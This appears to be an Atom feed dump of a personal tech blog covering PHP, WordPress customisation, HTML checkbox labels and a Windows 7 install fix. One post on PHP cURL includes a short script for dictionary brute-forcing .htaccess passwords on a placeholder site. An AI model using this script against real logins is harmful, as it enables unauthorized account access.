<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7129096825984051743</id><updated>2011-11-28T07:27:41.127+08:00</updated><category term='dynamic variable'/><category term='php curl'/><category term='life style'/><category term='checkbox'/><category term='add_submenu_page'/><category term='installation'/><category term='variable'/><category term='solution'/><category term='php'/><category term='ajax'/><category term='intro general'/><category term='php error handler'/><category term='wordpress function'/><category term='general'/><category term='php reference'/><category term='wordpress'/><category term='windows 7'/><category term='variable variables'/><category term='english learning'/><category term='virtual machine'/><category term='ubuntu'/><category term='heredoc'/><category term='custom installation script'/><category term='label'/><category term='operating system'/><title type='text'>am I a geek?</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-7969506436096313566</id><published>2010-06-16T21:58:00.000+08:00</published><updated>2010-06-16T21:58:50.683+08:00</updated><title type='text'>I'm moving ibnuyahya.com</title><content type='html'>Salam...&lt;br /&gt;&lt;br /&gt;This blog is no longer maintain since I'm moving to my new site at &lt;a href="http://ibnuyahya.com"&gt;http://ibnuyahya.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-7969506436096313566?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/7969506436096313566/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2010/06/im-moving-ibnuyahyacom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7969506436096313566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7969506436096313566'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2010/06/im-moving-ibnuyahyacom.html' title='I&apos;m moving ibnuyahya.com'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-6860653581825635077</id><published>2009-12-24T10:41:00.004+08:00</published><updated>2009-12-24T10:46:27.345+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='checkbox'/><category scheme='http://www.blogger.com/atom/ns#' term='label'/><title type='text'>better checkbox click with label</title><content type='html'>Normally we put text after checkbox to give more info for that checkbox like this&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;input id="cbRememberMe" name="cbRememberMe" type="checkbox" value="true" /&gt;Remember info?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;input id="cbRememberMe" name="cbRememberMe" type="checkbox" value="true" /&gt;&lt;br /&gt;Remember info?&lt;br /&gt;&lt;/pre&gt;However, user can't click on that &lt;b&gt;Remember info?&lt;/b&gt; text to check or uncheck that checkbox by using this method.&lt;br /&gt;&lt;br /&gt;Here is the enhancement for that problem.&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;input id="cbRemember" name="cbRemember" type="checkbox" value="true" /&gt;&lt;label for="cbRemember"&gt;Remember info?&lt;/label&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;input id="cbRemember" name="cbRemember" type="checkbox" value="true" /&gt;&lt;br /&gt;&lt;label for="cbRemember"&gt;Remember info?&lt;/label&gt;&lt;br /&gt;&lt;/pre&gt;Instead of using normal text, we are using label and &lt;b&gt;for&lt;/b&gt; tag. &lt;b&gt;for&lt;/b&gt; tag inside label element attribute is refer to which checkbox.Then, when you click on &lt;b&gt;remember info?&lt;/b&gt;.. the checkbox will checked/unchecked accordingly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-6860653581825635077?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/6860653581825635077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/12/better-checkbox-click-with-label.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6860653581825635077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6860653581825635077'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/12/better-checkbox-click-with-label.html' title='better checkbox click with label'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-8235098365900028976</id><published>2009-12-13T22:33:00.000+08:00</published><updated>2009-12-13T22:33:22.662+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='heredoc'/><title type='text'>what is &lt;&lt;&lt; symbol in php?</title><content type='html'>finally I know this &lt;&lt;&lt; symbol meaning. It's called Heredoc. You can get more info from php.net http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-8235098365900028976?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/8235098365900028976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/12/what-is-symbol-in-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/8235098365900028976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/8235098365900028976'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/12/what-is-symbol-in-php.html' title='what is &lt;&lt;&lt; symbol in php?'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-6550533656704459065</id><published>2009-10-22T08:43:00.009+08:00</published><updated>2009-10-22T09:15:31.741+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php curl'/><title type='text'>php curlhow to post using curl</title><content type='html'>curl is a command line tool for transferring files with URL syntax. cURL supporting a large internet protocol such as HTTP POST, HTTP PUT, FTP etc.&lt;br /&gt;&lt;br /&gt;libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!&lt;br /&gt;&lt;br /&gt;PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;How to submit form post using cUrl?&lt;/h3&gt;&lt;br /&gt;Submit form post using cUrl is pretty simple.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$url = 'http://mydomain.com/';&lt;br /&gt;$postdata = "Submit=Install%20WordPress&amp;admin_email=" . $wp_admin_email . "&amp;blog_public=1&amp;weblog_title=" . $wp_title;&lt;br /&gt;$ch = curl_init();&lt;br /&gt;curl_setopt ($ch, CURLOPT_URL, $url . "wp-admin/install.php?step=2");&lt;br /&gt;curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);&lt;br /&gt;curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");&lt;br /&gt;curl_setopt ($ch, CURLOPT_TIMEOUT, 60);&lt;br /&gt;curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);&lt;br /&gt;curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);&lt;br /&gt;curl_setopt ($ch, CURLOPT_REFERER, $url . "wp-admin/install.php");&lt;br /&gt;curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);&lt;br /&gt;curl_setopt ($ch, CURLOPT_POST, 1);&lt;br /&gt;$result = curl_exec ($ch);&lt;br /&gt;curl_close($ch);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;I create this sample code  to sent a post into wordpress install.php without open that page manually. It's mean I can sent a form post from outside of the target domain and display the result from my execute code.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Others thing that cUrl can do?&lt;/h3&gt;&lt;br /&gt;cURL Brute Force Script&lt;br /&gt;&lt;br /&gt;The following cURL script can be used to brute force Apache .htaccess authentication: &lt;br /&gt;&lt;pre class="brush :php"&gt;$url = "http://www.example.com/admin/";    // Set the URL to be bruteforced&lt;br /&gt;$ref = "http://www.example.com/index.php"; // Set the referrer to spoof&lt;br /&gt;$denied = "Forbidden";                     // Set the "Denied" output&lt;br /&gt;$wordlist = "/var/www/wordlist.txt";       // Set the wordlist location&lt;br /&gt;set_time_limit( 0 );                       // Set script execution limit. 0 = no limit&lt;br /&gt; &lt;br /&gt;$ch = curl_init( );                        // Initialise cURL&lt;br /&gt;curl_setopt( $ch, CURLOPT_URL, $url );     // Set URL as $url&lt;br /&gt;curl_setopt( $ch, CURLOPT_RETURNTRANSFER,1 ); // Set RETURNTRANSFER to TRUE&lt;br /&gt;curl_setopt( $ch, CURLOPT_FOLLOWLOCATION,1 ); // Set FOLLOWLOCATION to TRUE&lt;br /&gt; &lt;br /&gt;foreach( file( $wordlist ) as $password )  // Start the loop for dictionary attack&lt;br /&gt;{&lt;br /&gt;    $force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,&lt;br /&gt;    curl_setopt( $ch, CURLOPT_URL, $url ); // Load the URL to attack with cURL&lt;br /&gt;    $check = curl_exec( $ch );             // Set params to check&lt;br /&gt;    if( !eregi( $denied, $check ) )        // Check to see if $denied is not in page&lt;br /&gt;    {&lt;br /&gt;        die( "Success! The password is: {$password}" ); // If $denied returns false, success&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;curl_close( $ch );                         // Close the cURL process&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-6550533656704459065?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/6550533656704459065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/10/php-curlhow-to-post-using-curl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6550533656704459065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6550533656704459065'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/10/php-curlhow-to-post-using-curl.html' title='php curlhow to post using curl'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-8447977036195512568</id><published>2009-09-18T09:23:00.004+08:00</published><updated>2009-09-23T19:08:18.701+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='custom installation script'/><title type='text'>customize wordpress installation</title><content type='html'>How to custom install wordpress?. I'm currently work with wordpress custom installation. My objective is to make wordpress automatically install and activate plugin when I install new wordpress file. If you asking it is possible?. My answer is YES.. it is.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;How to create  custom wordpress installation?&lt;/h1&gt;&lt;br /&gt;1. If you install wordpress file, by default wordpress will execute install.php under wp-admin/install.php and then execute upgrade.php under wp-admin/includes/upgrade.php&lt;br /&gt;2. open upgrade.php file and you can see at line 11.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;/** Include user install customize script. */&lt;br /&gt;if ( file_exists(WP_CONTENT_DIR . '/install.php') )&lt;br /&gt;require (WP_CONTENT_DIR . '/install.php');&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;the script will check whether there is install.php file in the wp-content/ . If have, it will execute this script first.&lt;br /&gt;3. to use custom script, you need to create install.php file in the wp-content/install.php&lt;br /&gt;4. you may create wp_install() function inside wp-content/install.php to override n wp_install() at wp-admin/includes/upgrade.php . you can add whatever you want like automatically install/activate plugin, change default theme etc here without make any changes at original upgrade.php code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-8447977036195512568?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/8447977036195512568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/09/customize-wordpress-installation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/8447977036195512568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/8447977036195512568'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/09/customize-wordpress-installation.html' title='customize wordpress installation'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-6870321254890043614</id><published>2009-09-10T08:42:00.003+08:00</published><updated>2009-09-18T10:03:19.100+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php reference'/><title type='text'>what does &amp; ( ampersand ) simbol infront of variable means in php</title><content type='html'>Prior to PHP5, when you created an object from a class in PHP, that object would be passed into other variables by value. The object was NOT a reference, as is standard in most other object oriented (Java, C#, etc.) languages.&lt;br /&gt;&lt;br /&gt;However, by instantiating a class with an ampersand in front of it, you could create a reference to the returned object, and it would behave like an object in other languages. This was a common technique prior to PHP5 to achieve OOP like effects and/or improve performance.&lt;br /&gt;&lt;br /&gt;eg&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$foo = 'bar';&lt;br /&gt;$baz = &amp;$foo;&lt;br /&gt;&lt;br /&gt;echo $foo //bar&lt;br /&gt;echo $baz //bar&lt;br /&gt;&lt;br /&gt;$foo = 'foobazbar';&lt;br /&gt;echo $foo //foobazbar&lt;br /&gt;echo $baz //foobazbar&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;ref&lt;br /&gt;http://www.php.net/manual/en/language.references.whatdo.php&lt;br /&gt;http://us3.php.net/manual/en/language.references.pass.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-6870321254890043614?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/6870321254890043614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/09/what-does-ampersand-simbol-infront-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6870321254890043614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6870321254890043614'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/09/what-does-ampersand-simbol-infront-of.html' title='what does &amp; ( ampersand ) simbol infront of variable means in php'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-2429309735622232148</id><published>2009-08-08T10:25:00.002+08:00</published><updated>2009-08-08T10:36:49.723+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='installation'/><title type='text'>windows 7 installation failed ..keep reboot</title><content type='html'>I finally manage to install windows 7 after wasting a few hour to configure the "windows can't complete installation cause of keep rebooting" upon installation. My system is AMD64 Athlon with 1.5 GB Memory.&lt;br /&gt;&lt;br /&gt;Firstly I try to install windows 7 64bit. My installation process can't complete. It's keep booting after installation in the final stage.Then I try several time... I reset my bios... delete partition and still no luck. Then I try windows 7 32bit, just to test whether it's 64bit problem.. The result is still same.. keep booting after installation at the final stage.&lt;br /&gt;&lt;br /&gt;Then I try check step by step.. here is my solution&lt;br /&gt;1. Press F8 to pull up advanced boot menu&lt;br /&gt;2. Select Enable low-resolution video (640×480)&lt;br /&gt;3. proceed the installation process...&lt;br /&gt;&lt;br /&gt;you need to do this untill you windows 7 installation is complete and you can login into your windows.&lt;br /&gt;&lt;br /&gt;after login, you need to update your VGA drive for the higher resolution.&lt;br /&gt;&lt;br /&gt;This error is cause by windows 7 use high resolution as a default.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-2429309735622232148?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/2429309735622232148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/08/windows-7-installation-failed-keep.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/2429309735622232148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/2429309735622232148'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/08/windows-7-installation-failed-keep.html' title='windows 7 installation failed ..keep reboot'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-5137642415481792513</id><published>2009-08-05T17:03:00.003+08:00</published><updated>2009-08-05T17:13:37.139+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php error handler'/><title type='text'>What does @ symbol mean in PHP code?</title><content type='html'>Adding the "&lt;span style="font-weight:bold;"&gt;@&lt;/span&gt;" symbol in front of any function call will &lt;span style="font-weight: bold;"&gt;suppress &lt;/span&gt;any PHP-generated error messages from that function call. That means that if that function generates a non-fatal error (warning) it will not display the warning message in your HTML, rather just return false and let the program cope with it.&lt;br /&gt;&lt;br /&gt;an example&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$contents = @file_get_contents($file_source);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;more info &lt;a href="http://www.php.net/manual/en/language.operators.errorcontrol.php"&gt;http://www.php.net/manual/en/language.operators.errorcontrol.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-5137642415481792513?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/5137642415481792513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/08/what-does-symbol-mean-in-php-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/5137642415481792513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/5137642415481792513'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/08/what-does-symbol-mean-in-php-code.html' title='What does @ symbol mean in PHP code?'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-9007185311420298357</id><published>2009-07-23T10:53:00.005+08:00</published><updated>2009-07-23T11:35:14.529+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='add_submenu_page'/><category scheme='http://www.blogger.com/atom/ns#' term='wordpress function'/><title type='text'>getting an unwanted sub menu item in wordpress when using add_submenu_page</title><content type='html'>We are currently doing project in wordpress environment. In that project, we deal with customization &lt;a href="http://codex.wordpress.org/Adding_Administration_Menus"&gt;administration menu&lt;/a&gt; which it bring us to seek for menu creation using &lt;span style="font-weight: bold;"&gt;add_menu_page&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;add_submenu_page&lt;/span&gt; function.&lt;br /&gt;&lt;br /&gt;here is properties for that functions&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;add_menu_page(page_title, menu_title, access_level/capability, file, [function], [icon_url]);&lt;br /&gt;add_submenu_page(parent, page_title, menu_title, access_level/capability, file, [function]); basename(__FILE__)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;by the way. when we create submenu using  &lt;span style="font-weight: bold;"&gt;add_submenu_page&lt;/span&gt; function, we had unwanted sub menu item appear in the first submenu. this submenu is same as main menu like this..&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Menu Tile&lt;/span&gt;&lt;br /&gt;-&lt;span style="font-weight: bold;"&gt;Menu Title&lt;/span&gt;&lt;br /&gt;-Sub Menu Title 1&lt;br /&gt;-Sub Menu Title 2&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;we don't want &lt;span style="font-weight: bold;"&gt;Menu Title&lt;/span&gt; appear as a submenu. After googling, I found that other people also got &lt;a href="http://wordpress.org/support/topic/273480"&gt;a same problem&lt;/a&gt;. I do a research and debugging and finally I got the solution.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;add_menu_page('Menu Title', 'Menu Title', 10, 'main_menu', 'sub_menu_1_callback');&lt;br /&gt;add_submenu_page('main_menu', 'Sub Menu Title 1', 'Sub Menu Title 1', 10,  'main_menu' , 'sub_menu_1_callback');&lt;br /&gt;add_submenu_page('main_menu', 'Sub Menu Title 2', 'Sub Menu Title 2', 10, 'sub_menu' , 'sub_menu_2_callback');&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;It's pretty simple.. just to make sure the first submenu file name is same as their parent file name. In my case, look at  first &lt;span style="font-weight: bold;"&gt;add_submenu_page&lt;/span&gt; function file name, &lt;span style="font-weight: bold;"&gt;main_menu . &lt;/span&gt;&lt;span&gt;I&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;put same name as &lt;span style="font-weight: bold;"&gt;add_menu_page&lt;/span&gt; function file name. &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://rapidshare.com/files/258956458/submenu_sample.rar"&gt;Download Wordpress Submenu Sample Plugin&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-9007185311420298357?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/9007185311420298357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/getting-unwanted-sub-menu-item-in.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/9007185311420298357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/9007185311420298357'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/getting-unwanted-sub-menu-item-in.html' title='getting an unwanted sub menu item in wordpress when using add_submenu_page'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-7414358749487301716</id><published>2009-07-08T16:08:00.005+08:00</published><updated>2009-07-08T23:41:30.422+08:00</updated><title type='text'>list all hooked wordpress function</title><content type='html'>This code originally create by &lt;a href="http://www.rarst.net/"&gt;rarst&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;function list_hooked_functions($tag=false){&lt;br /&gt;        global $wp_filter;&lt;br /&gt;        if ($tag) {&lt;br /&gt;            $hook[$tag]=$wp_filter[$tag];&lt;br /&gt;            if (!is_array($hook[$tag])) {&lt;br /&gt;                trigger_error(&amp;quot;Nothing found for '$tag' hook&amp;quot;, E_USER_WARNING);&lt;br /&gt;                return;&lt;br /&gt;            }&lt;br /&gt;        } else {&lt;br /&gt;            $hook=$wp_filter;&lt;br /&gt;            ksort($hook);&lt;br /&gt;        }&lt;br /&gt;        echo '&amp;lt;pre&amp;gt;';&lt;br /&gt;        foreach($hook as $tag =&amp;gt; $priority){&lt;br /&gt;            echo &amp;quot;&amp;lt;br /&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;\t&amp;lt;strong&amp;gt;$tag&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;            ksort($priority);&lt;br /&gt;            foreach($priority as $priority =&amp;gt; $function){&lt;br /&gt;                echo $priority;&lt;br /&gt;                foreach($function as $name =&amp;gt; $properties) echo &amp;quot;\t$name&amp;lt;br /&amp;gt;&amp;quot;;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        echo '&amp;lt;/pre&amp;gt;';&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-7414358749487301716?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/7414358749487301716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/07/list-all-hooked-wordpress-function.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7414358749487301716'/><link rel='self' type='application/atom+xml' 